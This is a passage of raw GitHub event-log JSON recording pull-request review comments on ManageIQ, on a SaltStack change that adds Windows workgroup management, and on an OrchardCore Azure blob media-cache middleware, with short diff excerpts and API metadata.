ManageIQ/repos","events_url":"https://api.github.com/users/ManageIQ/events{/privacy}","received_events_url":"https://api.github.com/users/ManageIQ/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ManageIQ/integration_tests","description":"ManageIQ integration tests","fork":false,"url":"https://api.github.com/repos/ManageIQ/integration_tests","forks_url":"https://api.github.com/repos/ManageIQ/integration_tests/forks","keys_url":"https://api.github.com/repos/ManageIQ/integration_tests/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ManageIQ/integration_tests/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ManageIQ/integration_tests/teams","hooks_url":"https://api.github.com/repos/ManageIQ/integration_tests/hooks","issue_events_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/events{/number}","events_url":"https://api.github.com/repos/ManageIQ/integration_tests/events","assignees_url":"https://api.github.com/repos/ManageIQ/integration_tests/assignees{/user}","branches_url":"https://api.github.com/repos/ManageIQ/integration_tests/branches{/branch}","tags_url":"https://api.github.com/repos/ManageIQ/integration_tests/tags","blobs_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/refs{/sha}","trees_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ManageIQ/integration_tests/statuses/{sha}","languages_url":"https://api.github.com/repos/ManageIQ/integration_tests/languages","stargazers_url":"https://api.github.com/repos/ManageIQ/integration_tests/stargazers","contributors_url":"https://api.github.com/repos/ManageIQ/integration_tests/contributors","subscribers_url":"https://api.github.com/repos/ManageIQ/integration_tests/subscribers","subscription_url":"https://api.github.com/repos/ManageIQ/integration_tests/subscription","commits_url":"https://api.github.com/repos/ManageIQ/integration_tests/commits{/sha}","git_commits_url":"https://api.github.com/repos/ManageIQ/integration_tests/git/commits{/sha}","comments_url":"https://api.github.com/repos/ManageIQ/integration_tests/comments{/number}","issue_comment_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues/comments{/number}","contents_url":"https://api.github.com/repos/ManageIQ/integration_tests/contents/{+path}","compare_url":"https://api.github.com/repos/ManageIQ/integration_tests/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ManageIQ/integration_tests/merges","archive_url":"https://api.github.com/repos/ManageIQ/integration_tests/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ManageIQ/integration_tests/downloads","issues_url":"https://api.github.com/repos/ManageIQ/integration_tests/issues{/number}","pulls_url":"https://api.github.com/repos/ManageIQ/integration_tests/pulls{/number}","milestones_url":"https://api.github.com/repos/ManageIQ/integration_tests/milestones{/number}","notifications_url":"https://api.github.com/repos/ManageIQ/integration_tests/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ManageIQ/integration_tests/labels{/name}","releases_url":"https://api.github.com/repos/ManageIQ/integration_tests/releases{/id}","deployments_url":"https://api.github.com/repos/ManageIQ/integration_tests/deployments","created_at":"2013-02-06T21:59:17Z","updated_at":"2019-03-06T15:01:09Z","pushed_at":"2019-03-06T19:02:59Z","git_url":"git://github.com/ManageIQ/integration_tests.git","ssh_url":"git@github.com:ManageIQ/integration_tests.git","clone_url":"https://github.com/ManageIQ/integration_tests.git","svn_url":"https://github.com/ManageIQ/integration_tests","homepage":"","size":31744,"stargazers_count":63,"watchers_count":63,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":151,"mirror_url":null,"archived":false,"open_issues_count":166,"license":{"key":"gpl-2.0","name":"GNU General Public License v2.0","spdx_id":"GPL-2.0","url":"https://api.github.com/licenses/gpl-2.0","node_id":"MDc6TGljZW5zZTg="},"forks":151,"open_issues":166,"watchers":63,"default_branch":"master"}},"_links":{"self":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512"},"html":{"href":"https://github.com/ManageIQ/integration_tests/pull/8512"},"issue":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/issues/8512"},"comments":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/issues/8512/comments"},"review_comments":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512/comments"},"review_comment":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/pulls/8512/commits"},"statuses":{"href":"https://api.github.com/repos/ManageIQ/integration_tests/statuses/2df812cebc00ec28105bff21eca3e2d7b28505b7"}},"author_association":"CONTRIBUTOR"}}
|
{
"id": 8061086,
"name": "ManageIQ/integration_tests",
"url": "https://api.github.com/repos/ManageIQ/integration_tests"
}
|
{
"id": 44065123,
"login": "john-dupuy",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/44065123?",
"url": "https://api.github.com/users/john-dupuy"
}
|
{
"id": 1125575,
"login": "ManageIQ",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1125575?",
"url": "https://api.github.com/orgs/ManageIQ"
}
| 2019-03-06T19:16:10 |
9193256051
|
{"actor":{"display_login":"john-dupuy"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/saltstack/salt/pulls/comments/253679601","pull_request_review_id":199848351,"id":253679601,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1MzY3OTYwMQ==","diff_hunk":"@@ -167,6 +167,54 @@ def hostname(name):\n return ret\n \n \n+def workgroup(name):\n+ '''\n+ .. versionadded:: 2019.2.0\n+\n+ Manage the workgroup of the computer\n+\n+ name\n+ The workgroup to set\n+\n+ Example:\n+\n+ .. code-block:: yaml\n+\n+ set workgroup:\n+ system.workgroup:\n+ - name: local\n+ '''\n+ ret = {\n+ 'name': name.upper(),\n+ 'changes': {},\n+ 'result': True,\n+ 'comment': ''\n+ }\n+\n+ res = __salt__['system.get_domain_workgroup']()\n+ current_workgroup = res['Domain'] if 'Domain' in res else res['Workgroup'] if 'Workgroup' in res else ''\n+\n+ if __opts__['test']:\n+ ret['result'] = None\n+ ret['comment'] = 'Computer will be joined to workgroup \\'{0}\\''.format(name)\n+ return ret\n+\n+ if current_workgroup.upper() == name.upper():\n+ ret['comment'] = \"Workgroup is already set to '{0}'\".format(name.upper())\n+ return ret\n+\n+ out = __salt__['system.set_domain_workgroup'](name.upper())\n+\n+ if out:","path":"salt/states/win_system.py","position":42,"original_position":42,"commit_id":"62bb1e8adc9c3bb47e7517f7acd5213e7b2dd40f","original_commit_id":"62bb1e8adc9c3bb47e7517f7acd5213e7b2dd40f","user":{"login":"twangboy","id":9383935,"node_id":"MDQ6VXNlcjkzODM5MzU=","avatar_url":"https://avatars3.githubusercontent.com/u/9383935?v=4","gravatar_id":"","url":"https://api.github.com/users/twangboy","html_url":"https://github.com/twangboy","followers_url":"https://api.github.com/users/twangboy/followers","following_url":"https://api.github.com/users/twangboy/following{/other_user}","gists_url":"https://api.github.com/users/twangboy/gists{/gist_id}","starred_url":"https://api.github.com/users/twangboy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/twangboy/subscriptions","organizations_url":"https://api.github.com/users/twangboy/orgs","repos_url":"https://api.github.com/users/twangboy/repos","events_url":"https://api.github.com/users/twangboy/events{/privacy}","received_events_url":"https://api.github.com/users/twangboy/received_events","type":"User","site_admin":false},"body":"See step 2 and step 6:\r\nhttps://docs.saltstack.com/en/latest/ref/states/writing.html#best-practices","created_at":"2019-02-04T22:55:39Z","updated_at":"2019-02-04T22:55:59Z","html_url":"https://github.com/saltstack/salt/pull/51379#discussion_r253679601","pull_request_url":"https://api.github.com/repos/saltstack/salt/pulls/51379","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/saltstack/salt/pulls/comments/253679601"},"html":{"href":"https://github.com/saltstack/salt/pull/51379#discussion_r253679601"},"pull_request":{"href":"https://api.github.com/repos/saltstack/salt/pulls/51379"}},"in_reply_to_id":253679387},"pull_request":{"url":"https://api.github.com/repos/saltstack/salt/pulls/51379","id":248405629,"node_id":"MDExOlB1bGxSZXF1ZXN0MjQ4NDA1NjI5","html_url":"https://github.com/saltstack/salt/pull/51379","diff_url":"https://github.com/saltstack/salt/pull/51379.diff","patch_url":"https://github.com/saltstack/salt/pull/51379.patch","issue_url":"https://api.github.com/repos/saltstack/salt/issues/51379","number":51379,"state":"open","locked":false,"title":"Added an implementation of .set_domain_workgroup() that corresponds with .get_domain_workgroup()","user":{"login":"arizvisa","id":2035497,"node_id":"MDQ6VXNlcjIwMzU0OTc=","avatar_url":"https://avatars0.githubusercontent.com/u/2035497?v=4","gravatar_id":"","url":"https://api.github.com/users/arizvisa","html_url":"https://github.com/arizvisa","followers_url":"https://api.github.com/users/arizvisa/followers","following_url":"https://api.github.com/users/arizvisa/following{/other_user}","gists_url":"https://api.github.com/users/arizvisa/gists{/gist_id}","starred_url":"https://api.github.com/users/arizvisa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arizvisa/subscriptions","organizations_url":"https://api.github.com/users/arizvisa/orgs","repos_url":"https://api.github.com/users/arizvisa/repos","events_url":"https://api.github.com/users/arizvisa/events{/privacy}","received_events_url":"https://api.github.com/users/arizvisa/received_events","type":"User","site_admin":false},"body":"### What does this PR do?\r\nThis adds an implementation of `set_domain_workgroup()` to `salt.modules.win_system`. The `salt.modules.win_system` module includes an implementation of `get_domain_workgroup()`, but nothing in the form of actually setting it (other than joining an AD domain which has differing semantics). This was done using the COM api for WMI similar to other functions defined within the module.\r\n\r\nThe `set_hostname()` function was also updated to use the COM api as before it was using salt.cmd to execute `wmic` to set the name. On top of these additions, a new state function was added to `salt.states.win_system` as `workgroup()` which allows one to manage the workgroup of a windows machine in the same way as the \"hostname\" and \"computer_name\".\r\n\r\n### Previous Behavior\r\nThere was no way to set the workgroup for a windows machine.\r\n\r\n### New Behavior\r\nNow it's possible to set the workgroup for a windows machine via the module, or using the state to manage the workgroup. This adds to `salt.states.win_system` and `salt.modules.win_system`.","created_at":"2019-01-29T07:52:33Z","updated_at":"2019-02-04T22:55:59Z","closed_at":null,"merged_at":null,"merge_commit_sha":"081a4bc10ce4e79068232489c8bf28cbe2b17bb3","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/saltstack/salt/pulls/51379/commits","review_comments_url":"https://api.github.com/repos/saltstack/salt/pulls/51379/comments","review_comment_url":"https://api.github.com/repos/saltstack/salt/pulls/comments{/number}","comments_url":"https://api.github.com/repos/saltstack/salt/issues/51379/comments","statuses_url":"https://api.github.com/repos/saltstack/salt/statuses/62bb1e8adc9c3bb47e7517f7acd5213e7b2dd40f","head":{"label":"arizvisa:win_system-module-set_domain_workgroup","ref":"win_system-module-set_domain_workgroup","sha":"62bb1e8adc9c3bb47e7517f7acd5213e7b2dd40f","user":{"login":"arizvisa","id":2035497,"node_id":"MDQ6VXNlcjIwMzU0OTc=","avatar_url":"https://avatars0.githubusercontent.com/u/2035497?v=4","gravatar_id":"","url":"https://api.github.com/users/arizvisa","html_url":"https://github.com/arizvisa","followers_url":"https://api.github.com/users/arizvisa/followers","following_url":"https://api.github.com/users/arizvisa/following{/other_user}","gists_url":"https://api.github.com/users/arizvisa/gists{/gist_id}","starred_url":"https://api.github.com/users/arizvisa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arizvisa/subscriptions","organizations_url":"https://api.github.com/users/arizvisa/orgs","repos_url":"https://api.github.com/users/arizvisa/repos","events_url":"https://api.github.com/users/arizvisa/events{/privacy}","received_events_url":"https://api.github.com/users/arizvisa/received_events","type":"User","site_admin":false},"repo":{"id":166904026,"node_id":"MDEwOlJlcG9zaXRvcnkxNjY5MDQwMjY=","name":"saltstack-salt","full_name":"arizvisa/saltstack-salt","private":false,"owner":{"login":"arizvisa","id":2035497,"node_id":"MDQ6VXNlcjIwMzU0OTc=","avatar_url":"https://avatars0.githubusercontent.com/u/2035497?v=4","gravatar_id":"","url":"https://api.github.com/users/arizvisa","html_url":"https://github.com/arizvisa","followers_url":"https://api.github.com/users/arizvisa/followers","following_url":"https://api.github.com/users/arizvisa/following{/other_user}","gists_url":"https://api.github.com/users/arizvisa/gists{/gist_id}","starred_url":"https://api.github.com/users/arizvisa/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arizvisa/subscriptions","organizations_url":"https://api.github.com/users/arizvisa/orgs","repos_url":"https://api.github.com/users/arizvisa/repos","events_url":"https://api.github.com/users/arizvisa/events{/privacy}","received_events_url":"https://api.github.com/users/arizvisa/received_events","type":"User","site_admin":false},"html_url":"https://github.com/arizvisa/saltstack-salt","description":"Software to automate the management and configuration of any infrastructure or application at scale. Get access to the Salt software package repository here: ","fork":true,"url":"https://api.github.com/repos/arizvisa/saltstack-salt","forks_url":"https://api.github.com/repos/arizvisa/saltstack-salt/forks","keys_url":"https://api.github.com/repos/arizvisa/saltstack-salt/keys{/key_id}","collaborators_url":"https://api.github.com/repos/arizvisa/saltstack-salt/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/arizvisa/saltstack-salt/teams","hooks_url":"https://api.github.com/repos/arizvisa/saltstack-salt/hooks","issue_events_url":"https://api.github.com/repos/arizvisa/saltstack-salt/issues/events{/number}","events_url":"https://api.github.com/repos/arizvisa/saltstack-salt/events","assignees_url":"https://api.github.com/repos/arizvisa/saltstack-salt/assignees{/user}","branches_url":"https://api.github.com/repos/arizvisa/saltstack-salt/branches{/branch}","tags_url":"https://api.github.com/repos/arizvisa/saltstack-salt/tags","blobs_url":"https://api.github.com/repos/arizvisa/saltstack-salt/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/arizvisa/saltstack-salt/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/arizvisa/saltstack-salt/git/refs{/sha}","trees_url":"https://api.github.com/repos/arizvisa/saltstack-salt/git/trees{/sha}","statuses_url":"https://api.github.com/repos/arizvisa/saltstack-salt/statuses/{sha}","languages_url":"https://api.github.com/repos/arizvisa/saltstack-salt/languages","stargazers_url":"https://api.github.com/repos/arizvisa/saltstack-salt/stargazers","contributors_url":"https://api.github.com/repos/arizvisa/saltstack-salt/contributors","subscribers_url":"https://api.github.com/repos/arizvisa/saltstack-salt/subscribers","subscription_url":"https://api.github.com/repos/arizvisa/saltstack-salt/subscription","commits_url":"https://api.github.com/repos/arizvisa/saltstack-salt/commits{/sha}","git_commits_url":"https://api.github.com/repos/arizvisa/saltstack-salt/git/commits{/sha}","comments_url":"https://api.github.com/repos/arizvisa/saltstack-salt/comments{/number}","issue_comment_url":"https://api.github.com/repos/arizvisa/saltstack-salt/issues/comments{/number}","contents_url":"https://api.github.com/repos/arizvisa/saltstack-salt/contents/{+path}","compare_url":"https://api.github.com/repos/arizvisa/saltstack-salt/compare/{base}...{head}","merges_url":"https://api.github.com/repos/arizvisa/saltstack-salt/merges","archive_url":"https://api.github.com/repos/arizvisa/saltstack-salt/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/arizvisa/saltstack-salt/downloads","issues_url":"https://api.github.com/repos/arizvisa/saltstack-salt/issues{/number}","pulls_url":"https://api.github.com/repos/arizvisa/saltstack-salt/pulls{/number}","milestones_url":"https://api.github.com/repos/arizvisa/saltstack-salt/milestones{/number}","notifications_url":"https://api.github.com/repos/arizvisa/saltstack-salt/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/arizvisa/saltstack-salt/labels{/name}","releases_url":"https://api.github.com/repos/arizvisa/saltstack-salt/releases{/id}","deployments_url":"https://api.github.com/repos/arizvisa/saltstack-salt/deployments","created_at":"2019-01-22T01:14:55Z","updated_at":"2019-01-22T01:15:45Z","pushed_at":"2019-02-01T23:07:25Z","git_url":"git://github.com/arizvisa/saltstack-salt.git","ssh_url":"git@github.com:arizvisa/saltstack-salt.git","clone_url":"https://github.com/arizvisa/saltstack-salt.git","svn_url":"https://github.com/arizvisa/saltstack-salt","homepage":"https://repo.saltstack.com/","size":425854,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":0,"open_issues":0,"watchers":0,"default_branch":"develop"}},"base":{"label":"saltstack:develop","ref":"develop","sha":"8af9765d4a4a02fa6168ae2617a72009996ea7a1","user":{"login":"saltstack","id":1147473,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNDc0NzM=","avatar_url":"https://avatars3.githubusercontent.com/u/1147473?v=4","gravatar_id":"","url":"https://api.github.com/users/saltstack","html_url":"https://github.com/saltstack","followers_url":"https://api.github.com/users/saltstack/followers","following_url":"https://api.github.com/users/saltstack/following{/other_user}","gists_url":"https://api.github.com/users/saltstack/gists{/gist_id}","starred_url":"https://api.github.com/users/saltstack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/saltstack/subscriptions","organizations_url":"https://api.github.com/users/saltstack/orgs","repos_url":"https://api.github.com/users/saltstack/repos","events_url":"https://api.github.com/users/saltstack/events{/privacy}","received_events_url":"https://api.github.com/users/saltstack/received_events","type":"Organization","site_admin":false},"repo":{"id":1390248,"node_id":"MDEwOlJlcG9zaXRvcnkxMzkwMjQ4","name":"salt","full_name":"saltstack/salt","private":false,"owner":{"login":"saltstack","id":1147473,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExNDc0NzM=","avatar_url":"https://avatars3.githubusercontent.com/u/1147473?v=4","gravatar_id":"","url":"https://api.github.com/users/saltstack","html_url":"https://github.com/saltstack","followers_url":"https://api.github.com/users/saltstack/followers","following_url":"https://api.github.com/users/saltstack/following{/other_user}","gists_url":"https://api.github.com/users/saltstack/gists{/gist_id}","starred_url":"https://api.github.com/users/saltstack/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/saltstack/subscriptions","organizations_url":"https://api.github.com/users/saltstack/orgs","repos_url":"https://api.github.com/users/saltstack/repos","events_url":"https://api.github.com/users/saltstack/events{/privacy}","received_events_url":"https://api.github.com/users/saltstack/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/saltstack/salt","description":"Software to automate the management and configuration of any infrastructure or application at scale. Get access to the Salt software package repository here: ","fork":false,"url":"https://api.github.com/repos/saltstack/salt","forks_url":"https://api.github.com/repos/saltstack/salt/forks","keys_url":"https://api.github.com/repos/saltstack/salt/keys{/key_id}","collaborators_url":"https://api.github.com/repos/saltstack/salt/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/saltstack/salt/teams","hooks_url":"https://api.github.com/repos/saltstack/salt/hooks","issue_events_url":"https://api.github.com/repos/saltstack/salt/issues/events{/number}","events_url":"https://api.github.com/repos/saltstack/salt/events","assignees_url":"https://api.github.com/repos/saltstack/salt/assignees{/user}","branches_url":"https://api.github.com/repos/saltstack/salt/branches{/branch}","tags_url":"https://api.github.com/repos/saltstack/salt/tags","blobs_url":"https://api.github.com/repos/saltstack/salt/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/saltstack/salt/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/saltstack/salt/git/refs{/sha}","trees_url":"https://api.github.com/repos/saltstack/salt/git/trees{/sha}","statuses_url":"https://api.github.com/repos/saltstack/salt/statuses/{sha}","languages_url":"https://api.github.com/repos/saltstack/salt/languages","stargazers_url":"https://api.github.com/repos/saltstack/salt/stargazers","contributors_url":"https://api.github.com/repos/saltstack/salt/contributors","subscribers_url":"https://api.github.com/repos/saltstack/salt/subscribers","subscription_url":"https://api.github.com/repos/saltstack/salt/subscription","commits_url":"https://api.github.com/repos/saltstack/salt/commits{/sha}","git_commits_url":"https://api.github.com/repos/saltstack/salt/git/commits{/sha}","comments_url":"https://api.github.com/repos/saltstack/salt/comments{/number}","issue_comment_url":"https://api.github.com/repos/saltstack/salt/issues/comments{/number}","contents_url":"https://api.github.com/repos/saltstack/salt/contents/{+path}","compare_url":"https://api.github.com/repos/saltstack/salt/compare/{base}...{head}","merges_url":"https://api.github.com/repos/saltstack/salt/merges","archive_url":"https://api.github.com/repos/saltstack/salt/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/saltstack/salt/downloads","issues_url":"https://api.github.com/repos/saltstack/salt/issues{/number}","pulls_url":"https://api.github.com/repos/saltstack/salt/pulls{/number}","milestones_url":"https://api.github.com/repos/saltstack/salt/milestones{/number}","notifications_url":"https://api.github.com/repos/saltstack/salt/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/saltstack/salt/labels{/name}","releases_url":"https://api.github.com/repos/saltstack/salt/releases{/id}","deployments_url":"https://api.github.com/repos/saltstack/salt/deployments","created_at":"2011-02-20T20:16:56Z","updated_at":"2019-02-04T19:10:32Z","pushed_at":"2019-02-04T21:14:40Z","git_url":"git://github.com/saltstack/salt.git","ssh_url":"git@github.com:saltstack/salt.git","clone_url":"https://github.com/saltstack/salt.git","svn_url":"https://github.com/saltstack/salt","homepage":"https://repo.saltstack.com/","size":426746,"stargazers_count":9612,"watchers_count":9612,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":4464,"mirror_url":null,"archived":false,"open_issues_count":2430,"license":{"key":"apache-2.0","name":"Apache License 2.0","spdx_id":"Apache-2.0","url":"https://api.github.com/licenses/apache-2.0","node_id":"MDc6TGljZW5zZTI="},"forks":4464,"open_issues":2430,"watchers":9612,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/saltstack/salt/pulls/51379"},"html":{"href":"https://github.com/saltstack/salt/pull/51379"},"issue":{"href":"https://api.github.com/repos/saltstack/salt/issues/51379"},"comments":{"href":"https://api.github.com/repos/saltstack/salt/issues/51379/comments"},"review_comments":{"href":"https://api.github.com/repos/saltstack/salt/pulls/51379/comments"},"review_comment":{"href":"https://api.github.com/repos/saltstack/salt/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/saltstack/salt/pulls/51379/commits"},"statuses":{"href":"https://api.github.com/repos/saltstack/salt/statuses/62bb1e8adc9c3bb47e7517f7acd5213e7b2dd40f"}},"author_association":"NONE"}}
|
{
"id": 1390248,
"name": "saltstack/salt",
"url": "https://api.github.com/repos/saltstack/salt"
}
|
{
"id": 9383935,
"login": "twangboy",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/9383935?",
"url": "https://api.github.com/users/twangboy"
}
|
{
"id": 1147473,
"login": "saltstack",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1147473?",
"url": "https://api.github.com/orgs/saltstack"
}
| 2019-02-04T22:55:39 |
9007407457
|
{"actor":{"display_login":"twangboy"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments/314980532","pull_request_review_id":276272915,"id":314980532,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDMxNDk4MDUzMg==","diff_hunk":"@@ -0,0 +1,180 @@\n+using System;\n+using System.Collections.Concurrent;\n+using System.IO;\n+using System.Linq;\n+using System.Threading;\n+using System.Threading.Tasks;\n+using Microsoft.AspNetCore.Http;\n+using Microsoft.Extensions.DependencyInjection;\n+using Microsoft.Extensions.Logging;\n+using Microsoft.Extensions.Options;\n+\n+namespace OrchardCore.Media.Services\n+{\n+ /// <summary>\n+ /// Provides local caching for remote file store files.\n+ /// </summary>\n+ public class MediaFileStoreResolverMiddleware\n+ {\n+ // Use default stream copy buffer size to stay in gen0 garbage collection;\n+ private const int StreamCopyBufferSize = 81920;\n+\n+ private static readonly ConcurrentDictionary<string, Lazy<Task>> _writeTasks = new ConcurrentDictionary<string, Lazy<Task>>();","path":"src/OrchardCore.Modules/OrchardCore.Media/Services/MediaFileStoreResolverMiddleware.cs","position":22,"original_position":22,"commit_id":"79b83ef3ee2fbde1524c02f1002ab442a4f16891","original_commit_id":"79b83ef3ee2fbde1524c02f1002ab442a4f16891","user":{"login":"deanmarcussen","id":13782679,"node_id":"MDQ6VXNlcjEzNzgyNjc5","avatar_url":"https://avatars1.githubusercontent.com/u/13782679?v=4","gravatar_id":"","url":"https://api.github.com/users/deanmarcussen","html_url":"https://github.com/deanmarcussen","followers_url":"https://api.github.com/users/deanmarcussen/followers","following_url":"https://api.github.com/users/deanmarcussen/following{/other_user}","gists_url":"https://api.github.com/users/deanmarcussen/gists{/gist_id}","starred_url":"https://api.github.com/users/deanmarcussen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/deanmarcussen/subscriptions","organizations_url":"https://api.github.com/users/deanmarcussen/orgs","repos_url":"https://api.github.com/users/deanmarcussen/repos","events_url":"https://api.github.com/users/deanmarcussen/events{/privacy}","received_events_url":"https://api.github.com/users/deanmarcussen/received_events","type":"User","site_admin":false},"body":"This was the best way I could come up with to handle multiple requests for the same file.\r\nThought it might be better than an asynckeylock arrangement, as it only gets used (other than a dictionary lookup that will mostly no-op) when actually saving a file from blob to file cache.","created_at":"2019-08-18T11:17:45Z","updated_at":"2019-08-18T11:29:16Z","html_url":"https://github.com/OrchardCMS/OrchardCore/pull/4025#discussion_r314980532","pull_request_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025","author_association":"CONTRIBUTOR","_links":{"self":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments/314980532"},"html":{"href":"https://github.com/OrchardCMS/OrchardCore/pull/4025#discussion_r314980532"},"pull_request":{"href":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025"}}},"pull_request":{"url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025","id":306292209,"node_id":"MDExOlB1bGxSZXF1ZXN0MzA2MjkyMjA5","html_url":"https://github.com/OrchardCMS/OrchardCore/pull/4025","diff_url":"https://github.com/OrchardCMS/OrchardCore/pull/4025.diff","patch_url":"https://github.com/OrchardCMS/OrchardCore/pull/4025.patch","issue_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/4025","number":4025,"state":"open","locked":false,"title":"Azure Blob w/resizing","user":{"login":"deanmarcussen","id":13782679,"node_id":"MDQ6VXNlcjEzNzgyNjc5","avatar_url":"https://avatars1.githubusercontent.com/u/13782679?v=4","gravatar_id":"","url":"https://api.github.com/users/deanmarcussen","html_url":"https://github.com/deanmarcussen","followers_url":"https://api.github.com/users/deanmarcussen/followers","following_url":"https://api.github.com/users/deanmarcussen/following{/other_user}","gists_url":"https://api.github.com/users/deanmarcussen/gists{/gist_id}","starred_url":"https://api.github.com/users/deanmarcussen/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/deanmarcussen/subscriptions","organizations_url":"https://api.github.com/users/deanmarcussen/orgs","repos_url":"https://api.github.com/users/deanmarcussen/repos","events_url":"https://api.github.com/users/deanmarcussen/events{/privacy}","received_events_url":"https://api.github.com/users/deanmarcussen/received_events","type":"User","site_admin":false},"body":"Fixes https://github.com/OrchardCMS/OrchardCore/issues/3537\r\n\r\nFirst cut of this :)\r\n\r\nAdds support for all azure blob media served through Orchard Core, which makes resizing work.\r\n\r\nImplements a middleware cache, leaning on the ImageSharp cache, in front of ImageSharp to \r\n- reduce blob head requests\r\n- serve files not supported by ImageSharp, eg .pdf, or even images which are not resized.\r\n- Integrates with the ImageSharp cache, so we do not have multiple caches.\r\n- Moves to a cache per tenant, with admin cache clearing options.\r\n- Null cache option for when using a cdn.\r\n\r\nAdds support for cache busting files stored in blob storage.\r\n\r\nAdds support for prefixing a cdn url to media.\r\n\r\nI will try and come on Tuesday and demo on a live Azure site.","created_at":"2019-08-11T16:31:38Z","updated_at":"2019-08-18T11:29:16Z","closed_at":null,"merged_at":null,"merge_commit_sha":"3cdee23b92a5d31613eab44fbe6ab6ccd20d2fed","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025/commits","review_comments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/4025/comments","review_comment_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/pulls/comments{/number}","comments_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/issues/4025/comments","statuses_url":"https://api.github.com/repos/OrchardCMS/OrchardCore/statuses/79b83ef3ee2fbde1524c02f1002ab442a4f16891","head":{"label":"ThisNetWorks:deanmarcussen/blob-resize","ref":"deanmarcussen/blob-resize","sha":"79b83ef3ee2fbde1524c02f1002ab442a4f16891","user":{"login":"ThisNetWorks","id":22046773,"node_id":"MDEyOk9yZ2FuaXphdGlvbjIyMDQ2Nzcz","avatar_url":"https://avatars3.githubusercontent.com/u/22046773?v=4","gravatar_id":"","url":"https://api.github.com/users/ThisNetWorks","html_url":"https://github.com/ThisNetWorks","followers_url":"https://api.github.com/users/ThisNetWorks/followers","following_url":"https://api.github.com/users/ThisNetWorks/following{/other_user}","gists_url":"https://api.github.com/users/ThisNetWorks/gists{/gist_id}","starred_url":"https://api.github.com/users/ThisNetWorks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ThisNetWorks/subscriptions","organizations_url":"https://api.github.com/users/ThisNetWorks/orgs","repos_url":"https://api.github.com/users/ThisNetWorks/repos","events_url":"https://api.github.com/users/ThisNetWorks/events{/privacy}","received_events_url":"https://api.github.com/users/ThisNetWorks/received_events","type":"Organization","site_admin":false},"repo":{"id":169966757,"node_id":"MDEwOlJlcG9zaXRvcnkxNjk5NjY3NTc=","name":"OrchardCore","full_name":"ThisNetWorks/OrchardCore","private":false,"owner":